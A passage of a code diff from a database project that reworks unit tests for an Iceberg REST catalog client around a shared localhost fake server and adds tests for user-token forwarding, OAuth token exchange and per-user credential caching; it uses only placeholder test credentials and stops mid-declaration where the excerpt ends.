writeJSON(Poco::Net::HTTPServerResponse & response, const std::string & body) +std::string getParent(const std::string & query) { - response.setStatus(Poco::Net::HTTPResponse::HTTP_OK); - response.setContentType("application/json"); - response.setContentLength(body.size()); - response.send() << body; + Poco::URI uri; + uri.setRawQuery(query); + for (const auto & [key, value] : uri.getQueryParameters()) + if (key == "parent") + return value; + return {}; } -void writeError(Poco::Net::HTTPServerResponse & response, Poco::Net::HTTPResponse::HTTPStatus status, const std::string & body) +void installShape(ServerState & state, CatalogShape shape) { - response.setStatus(status); - response.setContentType("application/json"); - response.setContentLength(body.size()); - response.send() << body; -} - -std::string getRawPath(const std::string & uri) -{ - const auto query_pos = uri.find('?'); - if (query_pos == std::string::npos) - return uri; - return uri.substr(0, query_pos); -} - -class RestCatalogRequestHandler final : public Poco::Net::HTTPRequestHandler -{ -public: - explicit RestCatalogRequestHandler(CatalogShape shape_) - : shape(shape_) - { - } - - void handleRequest(Poco::Net::HTTPServerRequest & request, Poco::Net::HTTPServerResponse & response) override + state.setRoute("/v1/namespaces", [shape](const RecordedRequest & request) { - Poco::URI uri(request.getURI()); - const auto path = getRawPath(request.getURI()); - const auto params = uri.getQueryParameters(); - - if (path == "/v1/config") - { - writeJSON(response, R"({"defaults":{},"overrides":{}})"); - return; - } - - if (path == "/v1/oauth/tokens") - { - writeJSON(response, R"({"token_type":"Bearer","expires_in":3600,"access_token":"mock-access-token"})"); - return; - } - - if (path == "/v1/namespaces") - { - const auto parent = getParent(params); - if (parent.empty()) - { - if (shape == CatalogShape::NestedTableThenEmptySibling) - writeJSON(response, R"({"namespaces":[["parent"],["empty_later"]]})"); - else - writeJSON(response, R"({"namespaces":[["namespace"]]})"); - return; - } - - if (shape == CatalogShape::NestedTableThenEmptySibling && parent == "parent") - writeJSON(response, R"({"namespaces":[["leaf_with_table"]]})"); - else - writeJSON(response, R"({"namespaces":[]})"); - return; - } - - if (path == "/v1/namespaces/namespace/tables") - { - if (shape == CatalogShape::TopLevelTable) - writeJSON(response, R"({"identifiers":[{"name":"table_a"}]})"); - else - writeJSON(response, R"({"identifiers":[]})"); - return; - } - - if (path == "/v1/namespaces/parent/tables" - || path == "/v1/namespaces/empty_later/tables") - { - writeJSON(response, R"({"identifiers":[]})"); - return; - } - - if (path == "/v1/namespaces/parent%1Fleaf_with_table/tables") - { - writeJSON(response, R"({"identifiers":[{"name":"table_a"}]})"); - return; - } - - if (path == "/v1/namespaces/namespace/tables/table_a") - { - writeJSON(response, R"({"metadata":{"table-uuid":"11111111-2222-3333-4444-555555555555"}})"); - return; - } - - if (path == "/v1/namespaces/namespace/tables/missing_table") - { - writeError(response, Poco::Net::HTTPResponse::HTTP_NOT_FOUND, R"({"error":{"message":"Table does not exist","type":"NoSuchTableException","code":404}})"); - return; - } - - if (path == "/v1/namespaces/namespace/tables/unauthorized_table") + const auto parent = getParent(request.query); + if (parent.empty()) { - writeError(response, Poco::Net::HTTPResponse::HTTP_UNAUTHORIZED, R"({"error":{"message":"The access token has expired","type":"NotAuthorizedException","code":401}})"); - return; + if (shape == CatalogShape::NestedTableThenEmptySibling) + return json(R"({"namespaces":[["parent"],["empty_later"]]})"); + return json(R"({"namespaces":[["namespace"]]})"); } - throw DB::Exception(DB::ErrorCodes::LOGICAL_ERROR, "Unexpected request to fake Iceberg REST catalog: {}", request.getURI()); - } + if (shape == CatalogShape::NestedTableThenEmptySibling && parent == "parent") + return json(R"({"namespaces":[["leaf_with_table"]]})"); + return json(R"({"namespaces":[]})"); + }); -private: - static std::string getParent(const Poco::URI::QueryParameters & params) + state.setRoute("/v1/namespaces/namespace/tables", [shape](const RecordedRequest &) { - for (const auto & [key, value] : params) - { - if (key == "parent") - return value; - } - return {}; - } - - CatalogShape shape; -}; + if (shape == CatalogShape::TopLevelTable) + return json(R"({"identifiers":[{"name":"table_a"}]})"); + return json(R"({"identifiers":[]})"); + }); + + state.setStaticRoute("/v1/namespaces/parent/tables", R"({"identifiers":[]})"); + state.setStaticRoute("/v1/namespaces/empty_later/tables", R"({"identifiers":[]})"); + state.setStaticRoute("/v1/namespaces/parent%1Fleaf_with_table/tables", R"({"identifiers":[{"name":"table_a"}]})"); +} -class RestCatalogRequestHandlerFactory final : public Poco::Net::HTTPRequestHandlerFactory +/// The service-principal grant, for the catalogs created with `catalog_credential`. +void installTokenEndpoint(ServerState & state) { -public: - explicit RestCatalogRequestHandlerFactory(CatalogShape shape_) - : shape(shape_) - { - } - - Poco::Net::HTTPRequestHandler * createRequestHandler(const Poco::Net::HTTPServerRequest &) override - { - return new RestCatalogRequestHandler(shape); - } - -private: - CatalogShape shape; -}; + state.setStaticRoute("/v1/oauth/tokens", R"({"token_type":"Bearer","expires_in":3600,"access_token":"mock-access-token"})"); +} -class RestCatalogTestServer +void installTableRoutes(ServerState & state) { -public: - explicit RestCatalogTestServer(CatalogShape shape) - : server_socket(std::make_unique(Poco::Net::SocketAddress("127.0.0.1", 0))) - , handler_factory(new RestCatalogRequestHandlerFactory(shape)) - , server_params(new Poco::Net::HTTPServerParams()) - , server(std::make_unique(handler_factory, *server_socket, server_params)) - { - server->start(); - } - - ~RestCatalogTestServer() + state.setStaticRoute( + "/v1/namespaces/namespace/tables/table_a", R"({"metadata":{"table-uuid":"11111111-2222-3333-4444-555555555555"}})"); + state.setRoute("/v1/namespaces/namespace/tables/missing_table", [](const RecordedRequest &) { - server->stop(); - } - - std::string getUrl() const + return respondWithStatus( + 404, R"({"error":{"message":"Table does not exist","type":"NoSuchTableException","code":404}})"); + }); + state.setRoute("/v1/namespaces/namespace/tables/unauthorized_table", [](const RecordedRequest &) { - return "http://" + server_socket->address().toString(); - } - -private: - std::unique_ptr server_socket; - Poco::SharedPtr handler_factory; - Poco::AutoPtr server_params; - std::unique_ptr server; -}; + return respondWithStatus( + 401, R"({"error":{"message":"The access token has expired","type":"NotAuthorizedException","code":401}})"); + }); +} void expectThrowsCode(std::function fn, int expected_code) { @@ -234,7 +110,9 @@ void expectThrowsCode(std::function fn, int expected_code) bool restCatalogEmpty(CatalogShape shape) { - RestCatalogTestServer server(shape); + TestServer server; + installShape(*server, shape); + auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -249,7 +127,7 @@ bool restCatalogEmpty(CatalogShape shape) /* namespaces */"*", context); - return catalog.empty(); + return catalog.empty(/* auth_token */ {}); } } @@ -271,7 +149,9 @@ TEST(RestCatalog, EmptyReturnsTrueWhenNoTablesExist) TEST(RestCatalog, ApplySettingsChangesWithoutAuthenticationRejected) { - RestCatalogTestServer server(CatalogShape::Empty); + TestServer server; + installShape(*server, CatalogShape::Empty); + auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -293,7 +173,10 @@ TEST(RestCatalog, ApplySettingsChangesWithoutAuthenticationRejected) TEST(RestCatalog, ApplySettingsChangesCredentialMode) { - RestCatalogTestServer server(CatalogShape::Empty); + TestServer server; + installShape(*server, CatalogShape::Empty); + installTokenEndpoint(*server); + auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -335,7 +218,9 @@ TEST(RestCatalog, ApplySettingsChangesCredentialMode) TEST(RestCatalog, ApplySettingsChangesAuthHeaderMode) { - RestCatalogTestServer server(CatalogShape::Empty); + TestServer server; + installShape(*server, CatalogShape::Empty); + auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -365,7 +250,9 @@ TEST(RestCatalog, ApplySettingsChangesAuthHeaderMode) TEST(RestCatalog, OneLakeApplySettingsChangesBearerMode) { - RestCatalogTestServer server(CatalogShape::Empty); + TestServer server; + installShape(*server, CatalogShape::Empty); + auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -419,7 +306,10 @@ TEST(RestCatalog, OneLakeApplySettingsChangesBearerMode) TEST(RestCatalog, TryGetTableMetadataDistinguishesMissingTableFromOtherErrors) { - RestCatalogTestServer server(CatalogShape::TopLevelTable); + TestServer server; + installShape(*server, CatalogShape::TopLevelTable); + installTableRoutes(*server); + auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -436,15 +326,15 @@ TEST(RestCatalog, TryGetTableMetadataDistinguishesMissingTableFromOtherErrors) TableMetadata existing; EXPECT_TRUE(catalog.tryGetTableMetadata("namespace", "table_a", context, existing)); - EXPECT_TRUE(catalog.existsTable("namespace", "table_a")); + EXPECT_TRUE(catalog.existsTable("namespace", "table_a", /* auth_token */ {})); TableMetadata missing; EXPECT_FALSE(catalog.tryGetTableMetadata("namespace", "missing_table", context, missing)); - EXPECT_FALSE(catalog.existsTable("namespace", "missing_table")); + EXPECT_FALSE(catalog.existsTable("namespace", "missing_table", /* auth_token */ {})); TableMetadata unauthorized; EXPECT_THROW(catalog.tryGetTableMetadata("namespace", "unauthorized_table", context, unauthorized), DB::HTTPException); - EXPECT_THROW(catalog.existsTable("namespace", "unauthorized_table"), DB::HTTPException); + EXPECT_THROW(catalog.existsTable("namespace", "unauthorized_table", /* auth_token */ {}), DB::HTTPException); } #endif diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp new file mode 100644 index 000000000000..f1bd66ab58f8 --- /dev/null +++ b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp @@ -0,0 +1,495 @@ +#include "config.h" + +#if USE_AVRO + +#include + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +using namespace DataLake; +using namespace RestCatalogTest; + +namespace DB::ErrorCodes +{ + extern const int CATALOG_USER_TOKEN_NOT_AVAILABLE; + extern const int DATALAKE_DATABASE_ERROR; +} + +namespace +{ + +/// Paths the fake catalog answers on. +constexpr auto CONFIG_PATH = "/v1/config"; +constexpr auto NAMESPACES_PATH = "/v1/namespaces"; +constexpr auto NS_TABLES_PATH = "/v1/namespaces/ns/tables"; +constexpr auto TABLE_PATH = "/v1/namespaces/ns/tables/t"; +/// The catalog's own (deprecated) token endpoint, and a separate IdP endpoint. +constexpr auto CATALOG_TOKEN_PATH = "/v1/oauth/tokens"; +constexpr auto IDP_TOKEN_PATH = "/idp/token"; + +constexpr auto ALICE_TOKEN = "alice.jwt.token"; +constexpr auto BOB_TOKEN = "bob.jwt.token"; + +DB::ForwardedAuthTokenPtr makeToken(const std::string & token, const std::string & principal) +{ + DB::TokenCredentials credentials(token); + credentials.setUserName(principal); + return DB::makeForwardedAuthToken(credentials, principal); +} + +DB::ContextMutablePtr makeQueryContext(const DB::ForwardedAuthTokenPtr & auth_token = {}) +{ + auto context = DB::Context::createCopy(getContext().context); + context->makeQueryContext(); + context->setForwardedAuthToken(auth_token); + return context; +} + +/// A catalog with one namespace `ns` holding one table `t`. `ns` has no nested namespaces: a +/// `?parent=` query must answer with an empty list, or `getNamespacesRecursive` descends forever. +void installCatalogShape(ServerState & state) +{ + state.setRoute(NAMESPACES_PATH, [](const RecordedRequest & request) + { + if (request.query.find("parent=") != std::string::npos) + return json(R"({"namespaces":[]})"); + return json(R"({"namespaces":[["ns"]]})"); + }); + state.setStaticRoute(NS_TABLES_PATH, R"({"identifiers":[{"name":"t"}]})"); +} + +std::string loadTableResponse(const std::string & access_key_id, const std::string & table_uuid = "1e1c0e10-0000-4000-8000-000000000001") +{ + /// Far-future expiry so the vended credentials are cacheable. + const auto expires_at_ms + = std::chrono::duration_cast((std::chrono::system_clock::now() + std::chrono::hours(24)).time_since_epoch()) + .count(); + return fmt::format( + R"({{"metadata-location":"s3://bucket/t/metadata/v1.metadata.json",)" + R"("metadata":{{"table-uuid":"{}","location":"s3://bucket/t","schemas":[],"current-schema-id":0}},)" + R"("config":{{"s3.access-key-id":"{}","s3.secret-access-key":"secret","s3.session-token":"session",)" + R"("s3.session-token-expires-at-ms":{}}}}})", + table_uuid, access_key_id, expires_at_ms); +} + +/// The `client_credentials` / token-exchange endpoint, answering with `session_token_`. +void installTokenEndpoint(ServerState & state, const std::string & path, Int64 expires_in = 3600) +{ + auto counter = std::make_shared(0); + state.setRoute(path, [counter, expires_in](const RecordedRequest &) + { + const size_t n = counter->fetch_add(1); + return json(fmt::format(R"({{"access_token":"session_token_{}","expires_in":{}}})", n, expires_in)); + }); +} + +TokenForwardingConfig passthrough() +{ + return TokenForwardingConfig{ + .forward_user_token = true, + .token_exchange_uri = "", + .subject_token_type = "", + .requested_token_type = "", + .forward_actor_token = false, + .user_token_cache_ttl = 0, + }; +} + +TokenForwardingConfig exchangeAt(const std::string & uri, UInt64 cache_ttl = 300, bool actor = false) +{ + return TokenForwardingConfig{ + .forward_user_token = true, + .token_exchange_uri = uri, + .subject_token_type = "urn:ietf:params:oauth:token-type:access_token", + .requested_token_type = "urn:ietf:params:oauth:token-type:access_token", + .forward_actor_token = actor, + .user_token_cache_ttl = cache_ttl, + }; +} + +/// The catalog keeps only a `std::weak_ptr` to the context (`DB::WithContext`), so `context` must +/// be a named local in the caller: a temporary would already be gone by the first request. +std::shared_ptr makeCatalog( + const TestServer & server, + const DB::ContextPtr & context, + const TokenForwardingConfig & forwarding, + const std::string & catalog_credential = "") +{ + return std::make_shared( + "warehouse", + server.getUrl(), + catalog_credential, + /* auth_scope */ "lakekeeper", + /* auth_header */ "", + /* oauth_server_uri */ "", + /* oauth_server_use_request_body */ true, + /* namespaces */ "*", + context, + forwarding); +} + +/// Parses an `application/x-www-form-urlencoded` body into a map, percent-decoding values. +std::map parseForm(const std::string & body) +{ + std::map result; + size_t pos = 0; + while (pos < body.size()) + { + const auto amp = body.find('&', pos); + const auto field = body.substr(pos, amp == std::string::npos ? std::string::npos : amp - pos); + const auto eq = field.find('='); + if (eq != std::string::npos) + { + std::string value; + Poco::URI::decode(field.substr(eq + 1), value); + result[field.substr(0, eq)] = value; + } + if (amp == std::string::npos) + break; + pos = amp + 1; + } + return result; +} + +} + +/// --- Passthrough ------------------------------------------------------------------------- + +TEST(RestCatalogTokenForwarding, PassthroughSendsUserTokenOnEveryCall) +{ + TestServer server; + installCatalogShape(*server); + /// Registered so that a fallback to the service principal is *recorded* rather than throwing. + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, passthrough()); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + + const auto requests = server->requests(); + ASSERT_FALSE(requests.empty()); + for (const auto & request : requests) + EXPECT_EQ(request.header("Authorization"), std::string("Bearer ") + ALICE_TOKEN) << "path: " << request.path; + + /// `/v1/config` is fetched lazily with the same user's token, not unauthenticated. + EXPECT_EQ(server->countRequestsTo(CONFIG_PATH), 1u); + /// Passthrough contacts no token endpoint at all. + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 0u); +} + +TEST(RestCatalogTokenForwarding, ForwardingOffKeepsClientCredentials) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, TokenForwardingConfig{}, "client:secret"); + + ASSERT_EQ(catalog->getTables(/* auth_token */ {}), DB::Names{"ns.t"}); + + EXPECT_GE(server->countRequestsTo(CATALOG_TOKEN_PATH), 1u); + for (const auto & request : server->requestsTo(NAMESPACES_PATH)) + EXPECT_EQ(request.header("Authorization"), "Bearer session_token_0"); + + const auto grants = server->requestsTo(CATALOG_TOKEN_PATH); + ASSERT_FALSE(grants.empty()); + const auto form = parseForm(grants.front().body); + EXPECT_EQ(form.at("grant_type"), "client_credentials"); + EXPECT_EQ(form.at("client_id"), "client"); + EXPECT_EQ(form.at("client_secret"), "secret"); + EXPECT_EQ(form.at("scope"), "lakekeeper"); +} + +/// The single most important test of the feature: a session with no token must be refused, and +/// must NOT quietly acquire the service principal's identity instead. +TEST(RestCatalogTokenForwarding, NoUserTokenFailsClosed) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, passthrough(), "client:secret"); + + try + { + catalog->getTables(/* auth_token */ {}); + FAIL() << "expected the catalog to refuse a request with no user token"; + } + catch (const DB::Exception & e) + { + EXPECT_EQ(e.code(), DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE); + } + + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + EXPECT_EQ(server->countRequestsTo(NAMESPACES_PATH), 0u); +} + +TEST(RestCatalogTokenForwarding, ForbiddenIsNotRetriedAsServicePrincipal) +{ + TestServer server; + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + server->setRoute(NAMESPACES_PATH, [](const RecordedRequest &) { return respondWithStatus(403); }); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, passthrough(), "client:secret"); + + EXPECT_THROW(catalog->getTables(alice), DB::Exception); + + /// Exactly one attempt, and no `client_credentials` grant behind the user's back. + EXPECT_EQ(server->countRequestsTo(NAMESPACES_PATH), 1u); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); +} + +TEST(RestCatalogTokenForwarding, VendedCredentialsCacheIsPerPrincipal) +{ + TestServer server; + installCatalogShape(*server); + server->setRoute(TABLE_PATH, [](const RecordedRequest & request) + { + /// Each principal gets a distinguishable access key id. + const bool is_alice = request.header("Authorization") == std::string("Bearer ") + ALICE_TOKEN; + return json(loadTableResponse(is_alice ? "AKIA_ALICE" : "AKIA_BOB")); + }); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto bob = makeToken(BOB_TOKEN, "bob"); + + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, passthrough()); + catalog->setVendedCredentialsCacheTTL(std::chrono::seconds(300)); + + auto load = [&](const DB::ForwardedAuthTokenPtr & token) + { + auto query_context = makeQueryContext(token); + TableMetadata metadata; + metadata.withLocation().withStorageCredentials(); + catalog->getTableMetadata("ns", "t", query_context, metadata); + return metadata.getStorageCredentials(); + }; + + /// A `loadTable` request happens on every read regardless; what the cache saves is asking the + /// catalog to *vend credentials*, which the `X-Iceberg-Access-Delegation` header requests. + /// Its presence is therefore the exact signal for "these credentials were freshly vended". + auto vending_requests = [&] + { + size_t count = 0; + for (const auto & request : server->requestsTo(TABLE_PATH)) + if (request.header("X-Iceberg-Access-Delegation") == "vended-credentials") + ++count; + return count; + }; + + auto alice_credentials = load(alice); + ASSERT_EQ(vending_requests(), 1u); + + /// A warm cache must not serve Bob what the catalog vended for Alice: the catalog has to vend + /// for him too. + auto bob_credentials = load(bob); + EXPECT_EQ(vending_requests(), 2u); + + /// Alice's second read is served from her own entry, so nothing is vended again. + load(alice); + EXPECT_EQ(vending_requests(), 2u); + + auto alice_s3 = std::dynamic_pointer_cast(alice_credentials); + auto bob_s3 = std::dynamic_pointer_cast(bob_credentials); + ASSERT_TRUE(alice_s3); + ASSERT_TRUE(bob_s3); + EXPECT_EQ(alice_s3->getAccessKeyId(), "AKIA_ALICE"); + EXPECT_EQ(bob_s3->getAccessKeyId(), "AKIA_BOB"); +} + +/// --- Token exchange ---------------------------------------------------------------------- + +TEST(RestCatalogTokenForwarding, ExchangeRequestHasRfc8693Shape) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_EQ(exchanges.size(), 1u); + const auto & exchange = exchanges.front(); + + EXPECT_EQ(exchange.method, "POST"); + /// The user's JWT must never reach a request line: it would land in the catalog's access log, + /// in every proxy log, and in `system.query_log.exception`. + EXPECT_TRUE(exchange.query.empty()); + EXPECT_EQ(exchange.query.find(ALICE_TOKEN), std::string::npos); + EXPECT_EQ(exchange.path.find(ALICE_TOKEN), std::string::npos); + + const auto form = parseForm(exchange.body); + EXPECT_EQ(form.at("grant_type"), "urn:ietf:params:oauth:grant-type:token-exchange"); + EXPECT_EQ(form.at("subject_token"), ALICE_TOKEN); + EXPECT_EQ(form.at("subject_token_type"), "urn:ietf:params:oauth:token-type:access_token"); + EXPECT_EQ(form.at("requested_token_type"), "urn:ietf:params:oauth:token-type:access_token"); + EXPECT_EQ(form.at("scope"), "lakekeeper"); + EXPECT_EQ(form.at("client_id"), "client"); + EXPECT_EQ(form.at("client_secret"), "secret"); + /// Absent rather than empty when delegation is off. + EXPECT_EQ(form.count("actor_token"), 0u); + EXPECT_EQ(form.count("actor_token_type"), 0u); +} + +TEST(RestCatalogTokenForwarding, CatalogCallsCarryExchangedTokenNotSubjectToken) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + + for (const auto & request : server->requests()) + { + if (request.path == IDP_TOKEN_PATH) + continue; + EXPECT_EQ(request.header("Authorization"), "Bearer session_token_0") << "path: " << request.path; + } + /// One exchange for the whole query, reused from the per-user cache. + EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); +} + +TEST(RestCatalogTokenForwarding, ExchangedTokensAreNotSharedBetweenPrincipals) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto bob = makeToken(BOB_TOKEN, "bob"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + server->clearRequests(); + ASSERT_EQ(catalog->getTables(bob), DB::Names{"ns.t"}); + + /// Bob must not be signed with Alice's session. + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_EQ(exchanges.size(), 1u); + EXPECT_EQ(parseForm(exchanges.front().body).at("subject_token"), BOB_TOKEN); + for (const auto & request : server->requestsTo(NAMESPACES_PATH)) + EXPECT_EQ(request.header("Authorization"), "Bearer session_token_1"); +} + +TEST(RestCatalogTokenForwarding, ExpiredSessionTokenIsExchangedAgain) +{ + TestServer server; + installCatalogShape(*server); + /// `expires_in = 1` leaves a validity window of 0 seconds (the 90% rule), so the cached entry + /// is already expired when the second query looks at it. + installTokenEndpoint(*server, IDP_TOKEN_PATH, /* expires_in */ 1); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + const auto after_first_query = server->countRequestsTo(IDP_TOKEN_PATH); + ASSERT_GE(after_first_query, 1u); + + /// The cached session token is already outside its validity window, so the second query must + /// exchange again rather than reuse it. + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + EXPECT_GT(server->countRequestsTo(IDP_TOKEN_PATH), after_first_query); +} + +TEST(RestCatalogTokenForwarding, ActorTokenIsSentOnlyWhenEnabled) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog( + server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH, /* cache_ttl */ 300, /* actor */ true), "client:secret"); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_EQ(exchanges.size(), 1u); + const auto form = parseForm(exchanges.front().body); + /// No service-principal token has been minted, so there is nothing to delegate from and the + /// field stays absent rather than empty. + EXPECT_EQ(form.count("actor_token"), 0u); +} + +TEST(RestCatalogTokenForwarding, ExchangeErrorDoesNotEchoSubjectToken) +{ + TestServer server; + installCatalogShape(*server); + /// A catalog that does not implement the grant: 404 with an HTML body, the realistic case. + server->setRoute(IDP_TOKEN_PATH, [](const RecordedRequest &) + { + return Response{.status = 404, .body = "Not Found", .content_type = "text/html"}; + }); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + try + { + catalog->getTables(alice); + FAIL() << "expected the exchange against a non-implementing endpoint to fail"; + } + catch (const DB::Exception & e) + { + EXPECT_EQ(e.code(), DB::ErrorCodes::DATALAKE_DATABASE_ERROR); + const std::string message = e.displayText(); + EXPECT_NE(message.find("not a JSON object"), std::string::npos) << message; + EXPECT_EQ(message.find(ALICE_TOKEN), std::string::npos) << message; + } +} + +TEST(RestCatalogTokenForwarding, ResponseWithoutAccessTokenIsReportedClearly) +{ + TestServer server; + installCatalogShape(*server); + server->setStaticRoute(IDP_TOKEN_PATH, R"({"error":"unsupported_grant_type"})"); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + try + { + catalog->getTables(alice); + FAIL() << "expected a response without `access_token` to be reported"; + } + catch (const DB::Exception & e) + { + EXPECT_EQ(e.code(), DB::ErrorCodes::DATALAKE_DATABASE_ERROR); + EXPECT_NE(e.displayText().find("no `access_token` field"), std::string::npos) << e.displayText(); + } +} + +#endif diff --git a/src/Databases/DataLake/tests/rest_catalog_test_server.h b/src/Databases/DataLake/tests/rest_catalog_test_server.h new file mode 100644 index 000000000000..6e40581bafd7 --- /dev/null +++ b/src/Databases/DataLake/tests/rest_catalog_test_server.h @@ -0,0 +1,231 @@ +#pragma once + +#include "config.h" + +#if USE_AVRO + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +namespace RestCatalogTest +{ + +/// One request as the fake catalog saw it. Everything a test needs to assert on: the wire format +/// of a token exchange, that a bearer token reached the catalog, and -- via `query` -- that it +/// never reached a request line. +struct RecordedRequest +{ + std::string method; + std::string path; + std::string query; + std::string body; + std::map headers; + + std::string header(const std::string & name) const + { + auto it = headers.find(name); + return it == headers.end() ? std::string{} : it->second; + } +}; + +/// What a route answers with. +struct Response +{ + int status = 200; + std::string body; + std::string content_type = "application/json"; +}; + +inline Response json(const std::string & body) +{ + return Response{.status = 200, .body = body, .content_type = "application/json"}; +} + +inline Response respondWithStatus(int status, const std::string & body = R"({"error":{"message":"denied"}})") +{ + return Response{.status = status, .body = body, .content_type = "application/json"}; +} + +/// Shared, mutex-guarded state between the test and the request handlers. The handler factory +/// creates a fresh handler per request, so nothing may live in the handler itself. +class ServerState +{ +public: + using Route = std::function; + + /// Routes are matched on the path alone (the query string is recorded, never matched on). + void setRoute(const std::string & path, Route route) + { + std::lock_guard lock(mutex); + routes[path] = std::move(route); + } + + void setStaticRoute(const std::string & path, const std::string & body) + { + setRoute(path, [body](const RecordedRequest &) { return json(body); }); + } + + std::vector requests() const + { + std::lock_guard lock(mutex); + return recorded; + } + + /// Every recorded request whose path is exactly `path`. + std::vector requestsTo(const std::string & path) const + { + std::vector result; + for (const auto & request : requests()) + if (request.path == path) + result.push_back(request); + return result; + } + + size_t countRequestsTo(const std::string & path) const { return requestsTo(path).size(); } + + void clearRequests() + { + std::lock_guard lock(mutex); + recorded.clear(); + } + + Response handle(RecordedRequest request) + { + Route route; + { + std::lock_guard lock(mutex); + recorded.push_back(request); + if (auto it = routes.find(request.path); it != routes.end()) + route = it->second; + } + + /// An unexpected path is a test failure, not a 404 -- it is how "no request was made to + /// the token endpoint" is proven. Answering 599 rather than throwing keeps the failure + /// inside the request: an exception escaping a Poco worker thread aborts the process + /// before gtest can report which case failed. + if (!route) + return Response{ + .status = 599, + .body = "unexpected request to fake Iceberg REST catalog: " + request.method + " " + request.path, + .content_type = "text/plain"}; + + return route(request); + } + +private: + mutable std::mutex mutex; + std::map routes; + std::vector recorded; +}; + +class RequestHandler final : public Poco::Net::HTTPRequestHandler +{ +public: + explicit RequestHandler(std::shared_ptr state_) : state(std::move(state_)) {} + + void handleRequest(Poco::Net::HTTPServerRequest & request, Poco::Net::HTTPServerResponse & response) override + { + const std::string & raw_uri = request.getURI(); + const auto query_pos = raw_uri.find('?'); + + RecordedRequest recorded; + recorded.method = request.getMethod(); + /// The *raw* path, not `Poco::URI::getPath()`: the latter percent-decodes, and Iceberg + /// encodes nested namespaces with `%1F` (the unit separator), so decoding would turn + /// `a%1Fb` into a path no route key can match. + recorded.path = query_pos == std::string::npos ? raw_uri : raw_uri.substr(0, query_pos); + recorded.query = query_pos == std::string::npos ? std::string{} : raw_uri.substr(query_pos + 1); + Poco::StreamCopier::copyToString(request.stream(), recorded.body); + for (const auto & [name, value] : request) + recorded.headers[name] = value; + + const auto result = state->handle(std::move(recorded)); + + response.setStatus(static_cast(result.status)); + response.setContentType(result.content_type); + response.setContentLength(result.body.size()); + response.send() << result.body; + } + +private: + std::shared_ptr state; +}; + +class RequestHandlerFactory final : public Poco::Net::HTTPRequestHandlerFactory +{ +public: + explicit RequestHandlerFactory(std::shared_ptr state_) : state(std::move(state_)) {} + + Poco::Net::HTTPRequestHandler * 